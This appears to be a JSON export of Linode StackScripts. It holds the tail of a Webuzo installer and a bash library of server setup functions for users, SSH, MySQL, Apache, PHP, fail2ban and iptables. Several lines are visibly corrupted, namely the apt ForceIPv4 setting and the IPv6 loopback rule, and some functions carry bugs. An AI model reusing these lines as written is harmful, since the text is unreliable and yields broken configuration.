0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling BIGACE and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, BIGACE has been successfully installed\"\necho \" \"\necho \"You can now configure BIGACE and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 84996, "username": "tkelso", "user_gravatar_id": "2c62e010d29d49a6d80959d24e5c4bb0", "label": "Library_Bash", "description": "Bash Library for StackScripts\r\n** FUNCTIONS ONLY **", "ordinal": 0, "logo_url": "", "images": ["linode/centos7", "linode/debian8", "linode/ubuntu16.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "v0.5.0", "script": "#!/bin/bash\n\n# Complete Bash Library\n# v0.5.0\n\n# Supported Distributions\n#########################\n# Debian 8\n# Ubuntu 16.04\n# Ubuntu 12.04\n# CentOS 7\n#########################\n\n# Notes\n#########################\n# Add function_restart_services\n# Add goodstuff\n# Deeper fail2ban configuration\n# Percentage based service tuning\n# Incorperate deprecated functions into new distros\n#########################\n\n# System Ubuntu\n###############\n\nfunction ubuntu1604_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname Not Defined.\"\n return 1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/ubuntu/$1/g\" /etc/hosts\n}\n\nfunction ubuntu1604_update {\n\t# Configures Apt, disables interactive prompt, updates repositories and upgrades system packages.\n\n\t# Forces Apt to use IPv4\n\techo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n\t# Disables interactive prompts\n\texport DEBIAN_FRONTEND=noninteractive\n\t# Updates Repositories and Upgrades Packages\n\tapt-get update && apt-get upgrade -y\n}\n\nfunction ubuntu1604_install_additional {\n\t# Install additional system packages\n\t\n\tapt-get install -y fail2ban vim screen\n}\n\nfunction ubuntu1604_restart_lamp {\n\tsystemctl restart apache2\n\tsystemctl restart mysql\n}\n\n# Users Ubuntu and Authentication\n#################################\n\nfunction ubuntu1604_user_add_sudo {\n # Installs sudo, creates non-root user and adds the user to the sudo group\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No username and/or password entered.\"\n return 1;\n fi\n \n apt-get -y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction ubuntu1604_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ];\tthen\n echo \"No username and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction ubuntu1604_ssh_disable_root {\n\t# Disables Root SSH Access and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart ssh \n}\n\nfunction ubuntu1604_secure_apache {\n\t# Updates /etc/apache2/conf-available/security.conf with restrictive settings\n\n\tsed -i -e ''s/\\#ServerSignature\\ Off/ServerSignature\\ Off/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerSignature\\ On/\\#ServerSignature\\ On/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/\\#ServerTokens\\ Minimal/ServerTokens\\ Minimal/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerTokens\\ OS/\\#ServerTokens\\ OS/g'' /etc/apache2/conf-available/security.conf\n}\n\n# System Debian 8\n#################\n\nfunction debian8_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname Not Defined.\"\n return 1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/debian/$1/g\" /etc/hosts\n}\n\nfunction debian8_update {\n\t# Configures Apt, disables interactive prompt, updates repositories and upgrades system packages.\n\n\t# Forces Apt to use IPv4\n\techo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n\t# Disables interactive prompts\n\texport DEBIAN_FRONTEND=noninteractive\n\t# Updates Repositories and Upgrades Packages\n\tapt-get update && apt-get upgrade -y\n}\n\nfunction debian8_install_additional {\n\t# Install additional system packages\n\t\n\tapt-get install -y fail2ban vim screen\n}\n\nfunction debian8_restart_lamp {\n\tsystemctl restart apache2\n\tsystemctl restart mysql\n}\n\n# Debian 8 Users and Authentication\n###################################\n\nfunction debian8_user_add_sudo {\n # Installs sudo, creates non-root user and adds the user to the sudo group\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No username and/or password entered.\"\n return 1;\n fi\n \n apt-get -y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction debian8_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ];\tthen\n echo \"No username and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction debian8_ssh_disable_root {\n\t# Disables Root SSH Access and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart ssh \n}\n\nfunction debian8_secure_apache {\n\t# Updates /etc/apache2/conf-available/security.conf with restrictive settings\n\n\tsed -i -e ''s/\\#ServerSignature\\ Off/ServerSignature\\ Off/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerSignature\\ On/\\#ServerSignature\\ On/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/\\#ServerTokens\\ Minimal/ServerTokens\\ Minimal/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerTokens\\ OS/\\#ServerTokens\\ OS/g'' /etc/apache2/conf-available/security.conf\n}\n\n# System CentOS 7\n#################\n\nfunction centos7_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname undefined\"\n return 1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/localhost/$1/g\" /etc/hosts\n}\n\nfunction centos7_update {\n\t# Full system update\n\n\tyum update -y\n}\n\nfunction centos7_install_epel-release {\n\tyum install epel-release -y\n}\n\nfunction centos7_system_primary_ip {\n # returns the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction centos7_get_rdns {\n # calls host on an IP address and returns its reverse dns\n\n if [ ! -e /usr/bin/host ]; then\n aptitude -y install dnsutils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction centos7_get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction centos7_install_additional {\n\t# Installs additional system packages and enabled Mariadb to start on boot.\n\n\tyum install -y fail2ban vim screen\n\tsystemctl enable mariadb\n}\n\nfunction centos7_restart_lamp {\n\tsystemctl restart httpd\n\tsystemctl restart mariadb\n}\n\n# Users CentOS 7\n################\n\nfunction centos7_user_add_sudo {\n\t# Installs Sudo, adds non-root user and adds non-root user to wheel group.\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No new username and/or password entered\"\n return 1;\n fi\n \n yum install -y sudo\n adduser $USERNAME\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG wheel $USERNAME\n}\n\nfunction centos7_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ]; then\n echo \"No username and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction centos7_ssh_disable_root {\n\t# Disables root SSH login and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart sshd \n}\n\n# MySQL\n#######\n\nfunction ubuntu1604_install_mysql {\n\techo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n\techo \"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n\tapt-get install -y mysql-server\n\tsystemctl enable mysql\n}\n\nfunction debian8_install_mysql {\n\techo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n\techo \"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n\tapt-get install -y mysql-server\n\tsystemctl enable mysql\n}\n\nfunction centos7_install_mysql {\n\tyum install mariadb-server -y\n\tsystemctl enable mariadb\n}\n\nfunction mysql_create_database {\n\t# Creates MySQL Database with user-determined name\n\t\n\tDBPASS=\"$1\"\n\tDBNAME=\"$2\"\n\tif [ ! -n \"$DBPASS\" ] || [ ! -n \"$DBNAME\" ]; then\n\t\techo \"No Database Name and/or MySQL Password entered.\"\n\t\treturn 1;\n\tfi\n\n\techo \"CREATE DATABASE $2;\" | mysql -u root -p$1\n}\n\nfunction mysql_create_user {\n\t# Creates non-root MySQL\n\n\tDBPASS=\"$1\"\n\tUSER=\"$2\"\n\tUSERPASS=\"$3\"\n\tif [ ! -n \"$DBPASS\" ] || [ ! -n \"$USER\" ] || [ ! -n \"$USERPASS\" ]; then\n\t\techo \"MySQL Username, Username Password and MySQL Root Password are Required.\"\n\t\treturn 1;\n\tfi\n\n\techo \"CREATE USER ''$2''@''localhost'' IDENTIFIED BY ''$3'';\" | mysql -u root -p$1\n}\n\nfunction mysql_grant_user {\n\t# Grants privileges for non-root MySQL user on user-defined database.\n\n\tDBPASS=\"$1\"\n\tUSER=\"$2\"\n\tDB=\"$3\"\n\tif [ ! -n \"$DBPASS\" ] || [ ! -n \"$USER\" ] || [ ! -n \"$DB\" ]; then\n\t\techo \"MySQL Username, Database and MySQL Root Password are Required.\"\n\t\treturn 1;\n\tfi\n\n\techo \"GRANT ALL PRIVILEGES ON $3.* TO ''$2''@''localhost'';\" | mysql -u root -p$1\n echo \"FLUSH PRIVILEGES;\" | mysql -u root -p$1\n}\n\nfunction centos7_mysql_setpass {\n\t# Sets root password for MariaDB\n\n\tDBPASS=\"$1\"\n\tif [ ! -n \"$DBPASS\"]; then\n\t\techo \"No Database Password Set\"\n\t\treturn 1;\n\tfi\n\n\techo \"SET PASSWORD FOR ''root''@''localhost'' = PASSWORD(''$1'');\" | mysql -u root\n}\n\nfunction ubuntu1604_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation then uninstall expect \n\n\tapt-get install -y expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$MYSQL\\r\\\"\n\texpect \\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend \\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tapt-get purge -y expect\n}\n\nfunction debian8_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation then uninstall expect \n\n\tapt-get install -y expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$MYSQL\\r\\\"\n\texpect \\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend \\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tapt-get purge -y expect\n}\n\nfunction centos7_mysql_secure_installation {\n\t# Installs expect, runs mysql_secure_installation then uninstall expect \n\n\tyum install -y expect\n\tSECURE_MYSQL=$(expect -c \"\n\tset timeout 10\n\tspawn mysql_secure_installation\n\texpect \\\"Enter current password for root (enter for none):\\\"\n\tsend \\\"$1\\r\\\"\n\texpect \\\"Change the root password?\\\"\n\tsend \\\"n\\r\\\"\n\texpect \\\"Remove anonymous users?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Disallow root login remotely?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Remove test database and access to it?\\\"\n\tsend \\\"y\\r\\\"\n\texpect \\\"Reload privilege tables now?\\\"\n\tsend \\\"y\\r\\\"\n\texpect eof\n\t\")\n\n\techo \"$SECURE_MYSQL\"\n\n\tyum remove -y expect\n}\n\n# Apache\n########\n\nfunction ubuntu1604_install_apache {\n\tapt-get install -y apache2\n\tsystemctl enable apache2\n}\n\nfunction debian8_install_apache {\n\tapt-get install -y apache2\n\tsystemctl enable apache2\n}\n\nfunction ubuntu1604_apache_create_virtualhost {\n\t# Creates Apache2 VirtualHost for user-defined domain.\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n mkdir -p /var/www/$1/{public_html,logs}\n # Creates VirtualHost file\n touch /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAdmin webmaster@$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerName $1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAlias www.$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" DocumentRoot /var/www/$1/public_html/\" >> /etc/apache2/sites-available/$1.conf\n echo \" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/apache2/sites-available/$1.conf\n echo \" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n # Enables the VirtualHost\n a2ensite $1.conf\n # Creates temporary index.html file with the FQDN\n \techo \"$1

$1

\" > /var/www/$1/public_html/index.html\n \t# Enables Apache2 to start on boot and restarts Apache2.\n systemctl enable apache2\n systemctl restart apache2\n}\n\nfunction debian8_apache_create_virtualhost {\n\t# Creates Apache2 VirtualHost for user-defined domain.\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n mkdir -p /var/www/$1/{public_html,logs}\n # Creates VirtualHost file\n touch /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAdmin webmaster@$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerName $1\" >> /etc/apache2/sites-available/$1.conf\n echo \" ServerAlias www.$1\" >> /etc/apache2/sites-available/$1.conf\n echo \" DocumentRoot /var/www/$1/public_html/\" >> /etc/apache2/sites-available/$1.conf\n echo \" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/apache2/sites-available/$1.conf\n echo \" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/apache2/sites-available/$1.conf\n echo \"\" >> /etc/apache2/sites-available/$1.conf\n # Enables the VirtualHost\n a2ensite $1.conf\n # Creates temporary index.html file with the FQDN\n \techo \"$1

$1

\" > /var/www/$1/public_html/index.html\n \t# Enables Apache2 to start on boot and restarts Apache2.\n systemctl enable apache2\n systemctl restart apache2\n}\n\nfunction ubuntu1604_apache_tune {\n\t# Disables KeepAlive, tunes Apache2 variables in mpm-prefork and switches to mpm-prefork module.\n\n\techo \"\" > /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" StartServers 4\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MinSpareServers 20\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxSpareServers 40\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxRequestWorkers 200\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxConnectionsPerChild 4500\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \"\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\ta2dismod mpm_event\n\ta2enmod mpm_prefork\n}\n\nfunction debian8_apache_tune {\n\t# Disables KeepAlive, tunes Apache2 variables in mpm-prefork and switches to mpm-prefork module.\n\n\techo \"\" > /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" StartServers 4\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MinSpareServers 20\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxSpareServers 40\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxRequestWorkers 200\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \" MaxConnectionsPerChild 4500\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\techo \"\" >> /etc/apache2/mods-available/mpm-prefork.conf\n\ta2dismod mpm_event\n\ta2enmod mpm_prefork\n}\n\nfunction centos7_install_apache {\n\tyum install httpd -y\n\tsystemctl enable httpd\n}\n\nfunction centos7_apache_create_virtualhost {\n\t# Creates httpd VirtualHost for user-defined domain.\t\n\n\tDOMAIN=\"$1\"\n\tif [ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t# Creates webroot directory and log directory\n\tmkdir -p /var/www/$1/{public_html,logs}\n\t# Creates VirtualHost file\n\ttouch /etc/httpd/conf.d/vhost.conf\n\techo \"NameVirtualHost *:80\" >> /etc/httpd/conf.d/vhost.conf\n\techo \"\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ServerAdmin webmaster@$1\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ServerAlias www.$1\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" DocumentRoot /var/www/$1/public_html/\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ErrorLog /var/www/$1/logs/$1-error.log\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" CustomLog /var/www/$1/logs/$1-access.log combined\" >> /etc/httpd/conf.d/vhost.conf\n\techo \"\" >> /etc/httpd/conf.d/vhost.conf\n\t# Creates temporary index.html file with the FQDN\n\techo \"$1

$1

\" > /var/www/$1/public_html/index.html\n\t# Enables httpd to start on boot and restarts httpd.\n\tsystemctl enable httpd\n\tsystemctl restart httpd\n}\n\nfunction centos7_apache_tune {\n\t# Disables KeepAlive and tunes variables for prefork module.\n\n\techo \"KeepAlive Off\" >> /etc/httpd/conf/httpd.conf\n\techo \"\" >> /etc/httpd/conf/httpd.conf\n\techo \" StartServers 4\" >> /etc/httpd/conf/httpd.conf\n\techo \" MinSpareServers 20\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxSpareServers 40\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxClients 200\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxRequestsPerChild 4500\" >> /etc/httpd/conf/httpd.conf\n\techo \"\" >> /etc/httpd/conf/httpd.conf\n}\n\nfunction ubuntu1604_apache_virtualhost_get_docroot {\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/ {print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\nfunction debian8_apache_virtualhost_get_docroot {\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/ {print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\n# PHP\n#####\n\nfunction ubuntu1604_install_php {\n\tapt-get install -y php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql php7.0-curl php7.0-json php7.0-cgi\n}\n\nfunction debian8_install_php {\n\tapt-get install -y php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql php7.0-curl php7.0-json php7.0-cgi\n}\n\nfunction centos7_install_php {\n\tyum install php php-pear php-mysql -y\n}\n\nfunction ubuntu1604_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\ \\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php/7.0/apache2/php.ini\n\tmkdir /var/log/php\n\tchown www-data /var/log/php\n\tsystemctl restart apache2\n}\n\nfunction debian8_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\ \\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php/7.0/apache2/php.ini\n\tmkdir /var/log/php\n\tchown www-data /var/log/php\n\tsystemctl restart apache2\n}\n\nfunction centos7_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php.ini\n\tsed -i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g'' /etc/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\ \\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php.ini\n\tmkdir /var/log/php\n\tchown apache /var/log/php\n\tsystemctl reload httpd\n}\n\n# Fail2Ban\n##########\n\nfunction ubuntu1604_install_fail2ban {\n\tapt-get install -y fail2ban\n\tsystemctl enable fail2ban\n\tsystemctl start fail2ban\n}\n\nfunction debian8_install_fail2ban {\n\tapt-get install -y fail2ban\n\tsystemctl enable fail2ban\n\tsystemctl start fail2ban\n}\n\nfunction centos7_install_fail2ban {\n\tyum install fail2ban -y\n\tsystemctl enable fail2ban\n\tsystemctl start fail2ban\n}\n\n# iptables\n##########\n\nfunction ubuntu1604_iptables_lamp {\n\t# Configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Installs/configures iptables-persistent.\n\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\techo \"iptables-persistent iptables-persistent/autosave_v4 boolean true\" | debconf-set-selections\n\techo \"iptables-persistent iptables-persistent/autosave_v6 boolean true\" | debconf-set-selections\n\tapt-get install -y iptables-persistent\n}\n\nfunction debian8_iptables_lamp {\n\t# Configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Installs/configures iptables-persistent.\n\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\techo \"iptables-persistent iptables-persistent/autosave_v4 boolean true\" | debconf-set-selections\n\techo \"iptables-persistent iptables-persistent/autosave_v6 boolean true\" | debconf-set-selections\n\tapt-get install -y iptables-persistent\n}\n\nfunction centos7_iptables_lamp {\n\t# Stops and Disables firewalld.\n\t# Installs iptables-services, configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Saves iptables/ip6tables rules, enables iptables-services to start on boot and starts iptables-services.\n\n\tsystemctl stop firewalld.service && systemctl disable firewalld.service\n\tyum install -y iptables-services\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied: \" 